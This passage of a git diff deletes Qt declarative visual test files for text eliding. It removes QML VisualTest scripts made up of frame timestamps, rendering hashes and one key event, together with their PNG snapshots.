Frame { - msec: 992 - hash: "18b9ebfb9e5beac337143cc625fdfad7" - } - Frame { - msec: 1008 - hash: "efb9f12a98ea137e2b50d344c21c4a89" - } - Frame { - msec: 1024 - hash: "5b880958b3d20c09a10189cfc5f7b671" - } - Frame { - msec: 1040 - hash: "edf2d8c174ac6e2e3a887336dc04df8c" - } - Frame { - msec: 1056 - hash: "ad04b9e0e88695a13032abae8fef6f32" - } - Frame { - msec: 1072 - hash: "e4ad91c9da3e954cac33ce98832fee1c" - } - Frame { - msec: 1088 - hash: "a853212cf0ddc17cb0eb9be7f2ac5475" - } - Frame { - msec: 1104 - hash: "a03f7ac2553fe114c4591ed98dab3ceb" - } - Frame { - msec: 1120 - hash: "5de7491803582e0d13d2ff3e2eb3df82" - } - Frame { - msec: 1136 - hash: "0685263ac468ce39b468d37a20f7e5f8" - } - Frame { - msec: 1152 - hash: "14d4ab3f40dc6a0835c56c0f84256182" - } - Frame { - msec: 1168 - hash: "6a8c61c31c3d00592863ad356c45b354" - } - Frame { - msec: 1184 - hash: "08b3e3388469b1a62d3fc7f7a94f85a2" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data-X11/elide.0.png b/tests/auto/declarative/visual/qdeclarativetext/elide/data-X11/elide.0.png deleted file mode 100644 index 5631a46..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetext/elide/data-X11/elide.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data-X11/elide.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/data-X11/elide.qml deleted file mode 100644 index cfd832e..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/data-X11/elide.qml +++ /dev/null @@ -1,279 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 32 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 48 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 64 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 80 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 96 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 112 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 128 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 144 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 160 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 176 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 192 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 208 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 224 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 240 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 256 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 272 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 288 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 304 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 320 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 336 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 352 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 368 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 384 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 400 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 416 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 432 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 448 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 464 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 480 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 496 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 512 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 528 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 544 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 560 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 576 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 592 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 608 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 624 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 640 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 656 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 672 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 688 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 704 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 720 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 736 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 752 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 768 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 784 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 800 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 816 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 832 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 848 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 864 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 880 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 896 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 912 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 928 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 944 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 960 - image: "elide.0.png" - } - Frame { - msec: 976 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 992 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 1008 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 1024 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 1040 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } - Frame { - msec: 1056 - hash: "48e2da07fd229d9db6afc0eda494cd11" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data-X11/multilength.0.png b/tests/auto/declarative/visual/qdeclarativetext/elide/data-X11/multilength.0.png deleted file mode 100644 index 6e2b625..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetext/elide/data-X11/multilength.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data-X11/multilength.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/data-X11/multilength.qml deleted file mode 100644 index 0c06196..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/data-X11/multilength.qml +++ /dev/null @@ -1,303 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "873e914454b7a040b05649ebd1a2f8c5" - } - Frame { - msec: 32 - hash: "7682a4f1e361ca252da9713734a598e8" - } - Frame { - msec: 48 - hash: "fa8884b550c8df872f96b61557163bcf" - } - Frame { - msec: 64 - hash: "b84ecf9e38f126c3e32defee831d9462" - } - Frame { - msec: 80 - hash: "21cc08f22d1f1fcb38b27a3a4259debe" - } - Frame { - msec: 96 - hash: "93bdfeab813e25e85917f49c0d5f1314" - } - Frame { - msec: 112 - hash: "5f03c252602e60fe19879945fa77c203" - } - Frame { - msec: 128 - hash: "f0b2079f6c512bf80989ebfdbec4cfd8" - } - Frame { - msec: 144 - hash: "9e7bb12d5b7605fc1d78ed9b2a549527" - } - Frame { - msec: 160 - hash: "242bbbe6da87708c92fd47607ecb789d" - } - Frame { - msec: 176 - hash: "f1db5c3a230b4d3e2e1dfefe6bf032a1" - } - Frame { - msec: 192 - hash: "a416e820efd8e173cc52372218513e33" - } - Frame { - msec: 208 - hash: "df711ab70c6087f8138fded16167f069" - } - Frame { - msec: 224 - hash: "fb28eb2eeccfab28299640ef996c1115" - } - Frame { - msec: 240 - hash: "c72c6d79a50dd7147f6b33784880eb36" - } - Frame { - msec: 256 - hash: "4421027e65e95f98499ca53c57220ede" - } - Frame { - msec: 272 - hash: "b7fbfb90d8cc167809e8e846d9021b4b" - } - Frame { - msec: 288 - hash: "004614b1bf18e9aa78e78509c4f289aa" - } - Frame { - msec: 304 - hash: "1792bbd8b69bae1d92fed2a6bcfe0187" - } - Frame { - msec: 320 - hash: "957a8b95d6e85885d854b8eb1db10b04" - } - Frame { - msec: 336 - hash: "d00c3e4d6d8e8d04b949840c28d73a33" - } - Frame { - msec: 352 - hash: "2b79feaa62d773d92d8a684685b2004c" - } - Frame { - msec: 368 - hash: "ef2f11b187028de0c56b23db3168fbc8" - } - Frame { - msec: 384 - hash: "3a489a96aaeca80355313198b935691d" - } - Frame { - msec: 400 - hash: "389f1798f900795a8686c38ace755974" - } - Frame { - msec: 416 - hash: "34fc20be52fe3843420819b9adb90b22" - } - Frame { - msec: 432 - hash: "fa715c5b6640eafe204bf3b8095c74b9" - } - Frame { - msec: 448 - hash: "8e8315edcf23167ac58228b8c28b43e6" - } - Frame { - msec: 464 - hash: "c18e82038f57dd869112cb1be14e4cfe" - } - Frame { - msec: 480 - hash: "3f07e95b09e39f2e5d93216850f4a4d9" - } - Frame { - msec: 496 - hash: "20f0e6eaeac04d6f93565adfab485218" - } - Frame { - msec: 512 - hash: "e3f66d1dfe88dd868a54a8493828ef5f" - } - Frame { - msec: 528 - hash: "d39d34f63e1b29c187249cb388552b38" - } - Frame { - msec: 544 - hash: "5d2e8df5003732f3b53fff4aaddea06c" - } - Frame { - msec: 560 - hash: "35c3aa2dae481a8f817d849b3f3151f2" - } - Frame { - msec: 576 - hash: "966b78018879224948b4d85fe73d7985" - } - Frame { - msec: 592 - hash: "0db067bf9debc3f36dd539cf83652fb8" - } - Frame { - msec: 608 - hash: "ea1c3249ffd2439533907ceaeaafbc56" - } - Frame { - msec: 624 - hash: "da85c0e14b95ca9a729984b67ebd52ad" - } - Frame { - msec: 640 - hash: "5c26ae844ac52dbe131fed0638787aac" - } - Frame { - msec: 656 - hash: "4b09c23ad624db80afcb2a6c1d5ddb96" - } - Frame { - msec: 672 - hash: "9995deb3d22b418a19093b4b988b3fcc" - } - Frame { - msec: 688 - hash: "77e53358f2d4392d0ba988187e7e272c" - } - Frame { - msec: 704 - hash: "3fbbb73e790cf4a0583531fe1580f761" - } - Frame { - msec: 720 - hash: "9d562e141095a258ee61463e644d9889" - } - Frame { - msec: 736 - hash: "d05633ca49f96bf327bed5c9c0f6ac98" - } - Frame { - msec: 752 - hash: "34c38e40e831dbede8fa83de31ed76aa" - } - Frame { - msec: 768 - hash: "288e52c8be54f4914f687cef4ce1f24a" - } - Frame { - msec: 784 - hash: "0b8b744aaf67e8b17fa459bb0ffb6db5" - } - Frame { - msec: 800 - hash: "273dbe3e8c21bfeafa516d07778928c8" - } - Frame { - msec: 816 - hash: "ef94ee1885287c72fa78038547d98b96" - } - Frame { - msec: 832 - hash: "965e6387672319ac04fdc42768e581f1" - } - Frame { - msec: 848 - hash: "95553d8aaece94c7017e57b03cd46c9a" - } - Frame { - msec: 864 - hash: "bdaf35b920e5b08b8639d452afd2d51e" - } - Frame { - msec: 880 - hash: "0ed16f00e89327dc8679bec42179c4ce" - } - Frame { - msec: 896 - hash: "8c93e0ac399e09e98e34b90654e0e42a" - } - Frame { - msec: 912 - hash: "93798fbb33adb6c813018757cfa34017" - } - Frame { - msec: 928 - hash: "db4d7581e9a1f082a2c29ef7482a7893" - } - Frame { - msec: 944 - hash: "67e074c1e083334de84a3549f4ee9ca4" - } - Frame { - msec: 960 - image: "multilength.0.png" - } - Frame { - msec: 976 - hash: "b1122c815a755c9988bcf03a3f7d7d6d" - } - Frame { - msec: 992 - hash: "31148bae6653bdc3f1827d06de845663" - } - Frame { - msec: 1008 - hash: "812428a944086ca46e102891964dac69" - } - Frame { - msec: 1024 - hash: "ee7bb66bd7e8623325200ac994f8b41a" - } - Frame { - msec: 1040 - hash: "6bd21a98e5c373a2c78334a0255e7750" - } - Frame { - msec: 1056 - hash: "2e8e1eea14068b0e82464ed52ec1ab7a" - } - Frame { - msec: 1072 - hash: "6dca5756e20eeb778e31d7b602ce77d7" - } - Frame { - msec: 1088 - hash: "3cbb6700b9e30864a2b1e3d4d71d2a78" - } - Frame { - msec: 1104 - hash: "c4d0230d2c4f73191a514e5df4c0b083" - } - Frame { - msec: 1120 - hash: "a33df967fe43151dfc503d2ac78f8ca8" - } - Frame { - msec: 1136 - hash: "0c7ff101efe60b600cacaf8d04d79053" - } - Frame { - msec: 1152 - hash: "d246cfb75d89b9666877860aaf45ba60" - } - Frame { - msec: 1168 - hash: "1130998aa2618a29ec6bc4b9219eedfa" - } - Frame { - msec: 1184 - hash: "741dd83003633bbf8d28c2d4ddd8a2d0" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide.0.png b/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide.0.png deleted file mode 100644 index 1a8c89b..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide.qml deleted file mode 100644 index 59f17f7..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide.qml +++ /dev/null @@ -1,279 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 32 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 48 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 64 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 80 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 96 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 112 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 128 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 144 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 160 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 176 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 192 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 208 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 224 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 240 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 256 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 272 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 288 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 304 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 320 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 336 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 352 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 368 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 384 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 400 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 416 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 432 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 448 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 464 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 480 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 496 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 512 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 528 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 544 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 560 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 576 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 592 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 608 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 624 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 640 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 656 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 672 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 688 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 704 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 720 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 736 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 752 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 768 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 784 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 800 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 816 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 832 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 848 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 864 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 880 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 896 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 912 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 928 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 944 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 960 - image: "elide.0.png" - } - Frame { - msec: 976 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 992 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 1008 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 1024 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 1040 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } - Frame { - msec: 1056 - hash: "c80d2bcd4be99c73e6c628870206ce8c" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.0.png b/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.0.png deleted file mode 100644 index 3dfade5..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.1.png b/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.1.png deleted file mode 100644 index 1ee2076..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.2.png b/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.2.png deleted file mode 100644 index ae680be..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.3.png b/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.3.png deleted file mode 100644 index c2859be..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.qml deleted file mode 100644 index c592f18..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.qml +++ /dev/null @@ -1,991 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 32 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 48 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 64 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 80 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 96 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 112 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 128 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 144 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 160 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 176 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 192 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 208 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 224 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 240 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 256 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 272 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 288 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 304 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 320 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 336 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 352 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 368 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 384 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 400 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 416 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 432 - hash: "fc3a7e898d6bfa2af4d774b20609f967" - } - Frame { - msec: 448 - hash: "fc3a7e898d6bfa2af4d774b20609f967" - } - Frame { - msec: 464 - hash: "fc3a7e898d6bfa2af4d774b20609f967" - } - Frame { - msec: 480 - hash: "3bcaa6426796bc9097e0aeba90dd5e39" - } - Frame { - msec: 496 - hash: "3bcaa6426796bc9097e0aeba90dd5e39" - } - Frame { - msec: 512 - hash: "3bcaa6426796bc9097e0aeba90dd5e39" - } - Frame { - msec: 528 - hash: "3bcaa6426796bc9097e0aeba90dd5e39" - } - Frame { - msec: 544 - hash: "3bcaa6426796bc9097e0aeba90dd5e39" - } - Frame { - msec: 560 - hash: "3bcaa6426796bc9097e0aeba90dd5e39" - } - Frame { - msec: 576 - hash: "4daa612cd7e7ee455ff1a93329202865" - } - Frame { - msec: 592 - hash: "4daa612cd7e7ee455ff1a93329202865" - } - Frame { - msec: 608 - hash: "4daa612cd7e7ee455ff1a93329202865" - } - Frame { - msec: 624 - hash: "4daa612cd7e7ee455ff1a93329202865" - } - Frame { - msec: 640 - hash: "4daa612cd7e7ee455ff1a93329202865" - } - Frame { - msec: 656 - hash: "3f362ad550db910f1d9f261557c65913" - } - Frame { - msec: 672 - hash: "3f362ad550db910f1d9f261557c65913" - } - Frame { - msec: 688 - hash: "f159011c2b85fe212a32a7b5d2a57016" - } - Frame { - msec: 704 - hash: "f159011c2b85fe212a32a7b5d2a57016" - } - Frame { - msec: 720 - hash: "f159011c2b85fe212a32a7b5d2a57016" - } - Frame { - msec: 736 - hash: "f159011c2b85fe212a32a7b5d2a57016" - } - Frame { - msec: 752 - hash: "f159011c2b85fe212a32a7b5d2a57016" - } - Frame { - msec: 768 - hash: "f159011c2b85fe212a32a7b5d2a57016" - } - Frame { - msec: 784 - hash: "a892c67199c23e5d9012a6a24cb45d16" - } - Frame { - msec: 800 - hash: "a892c67199c23e5d9012a6a24cb45d16" - } - Frame { - msec: 816 - hash: "a892c67199c23e5d9012a6a24cb45d16" - } - Frame { - msec: 832 - hash: "532e01ed6ede95eca68e641e2edb7f1c" - } - Frame { - msec: 848 - hash: "532e01ed6ede95eca68e641e2edb7f1c" - } - Frame { - msec: 864 - hash: "532e01ed6ede95eca68e641e2edb7f1c" - } - Frame { - msec: 880 - hash: "532e01ed6ede95eca68e641e2edb7f1c" - } - Frame { - msec: 896 - hash: "532e01ed6ede95eca68e641e2edb7f1c" - } - Frame { - msec: 912 - hash: "a7dc1d7dde956d62834de0968261386f" - } - Frame { - msec: 928 - hash: "a7dc1d7dde956d62834de0968261386f" - } - Frame { - msec: 944 - hash: "a7dc1d7dde956d62834de0968261386f" - } - Frame { - msec: 960 - image: "elide2.0.png" - } - Frame { - msec: 976 - hash: "a7dc1d7dde956d62834de0968261386f" - } - Frame { - msec: 992 - hash: "a590e1358fac567dda9fdfc6bfe4ab89" - } - Frame { - msec: 1008 - hash: "a590e1358fac567dda9fdfc6bfe4ab89" - } - Frame { - msec: 1024 - hash: "778d34ca89b5db88fe26619576e9d337" - } - Frame { - msec: 1040 - hash: "778d34ca89b5db88fe26619576e9d337" - } - Frame { - msec: 1056 - hash: "778d34ca89b5db88fe26619576e9d337" - } - Frame { - msec: 1072 - hash: "778d34ca89b5db88fe26619576e9d337" - } - Frame { - msec: 1088 - hash: "778d34ca89b5db88fe26619576e9d337" - } - Frame { - msec: 1104 - hash: "9424caee019aa9bccd4156b0b9ca2723" - } - Frame { - msec: 1120 - hash: "9424caee019aa9bccd4156b0b9ca2723" - } - Frame { - msec: 1136 - hash: "9424caee019aa9bccd4156b0b9ca2723" - } - Frame { - msec: 1152 - hash: "000061a140ab71a44c0480a92ad3bc70" - } - Frame { - msec: 1168 - hash: "000061a140ab71a44c0480a92ad3bc70" - } - Frame { - msec: 1184 - hash: "000061a140ab71a44c0480a92ad3bc70" - } - Frame { - msec: 1200 - hash: "5dec9638853165428cd15ae02e1d03ce" - } - Frame { - msec: 1216 - hash: "5dec9638853165428cd15ae02e1d03ce" - } - Frame { - msec: 1232 - hash: "5dec9638853165428cd15ae02e1d03ce" - } - Frame { - msec: 1248 - hash: "ecb69bdbd13114715f738b1ace3ecf51" - } - Frame { - msec: 1264 - hash: "ecb69bdbd13114715f738b1ace3ecf51" - } - Frame { - msec: 1280 - hash: "ecb69bdbd13114715f738b1ace3ecf51" - } - Frame { - msec: 1296 - hash: "ecb69bdbd13114715f738b1ace3ecf51" - } - Frame { - msec: 1312 - hash: "ecb69bdbd13114715f738b1ace3ecf51" - } - Frame { - msec: 1328 - hash: "923b4f4f4a3dbaefbf003859067b2ea9" - } - Frame { - msec: 1344 - hash: "923b4f4f4a3dbaefbf003859067b2ea9" - } - Frame { - msec: 1360 - hash: "923b4f4f4a3dbaefbf003859067b2ea9" - } - Frame { - msec: 1376 - hash: "923b4f4f4a3dbaefbf003859067b2ea9" - } - Frame { - msec: 1392 - hash: "923b4f4f4a3dbaefbf003859067b2ea9" - } - Frame { - msec: 1408 - hash: "d4230a476237f9e13a132e775f1b960c" - } - Frame { - msec: 1424 - hash: "d4230a476237f9e13a132e775f1b960c" - } - Frame { - msec: 1440 - hash: "d4230a476237f9e13a132e775f1b960c" - } - Frame { - msec: 1456 - hash: "d4230a476237f9e13a132e775f1b960c" - } - Frame { - msec: 1472 - hash: "d4230a476237f9e13a132e775f1b960c" - } - Frame { - msec: 1488 - hash: "504ad2ba8543f7ad6490bd45d86fbef9" - } - Frame { - msec: 1504 - hash: "504ad2ba8543f7ad6490bd45d86fbef9" - } - Frame { - msec: 1520 - hash: "504ad2ba8543f7ad6490bd45d86fbef9" - } - Frame { - msec: 1536 - hash: "504ad2ba8543f7ad6490bd45d86fbef9" - } - Frame { - msec: 1552 - hash: "504ad2ba8543f7ad6490bd45d86fbef9" - } - Frame { - msec: 1568 - hash: "504ad2ba8543f7ad6490bd45d86fbef9" - } - Frame { - msec: 1584 - hash: 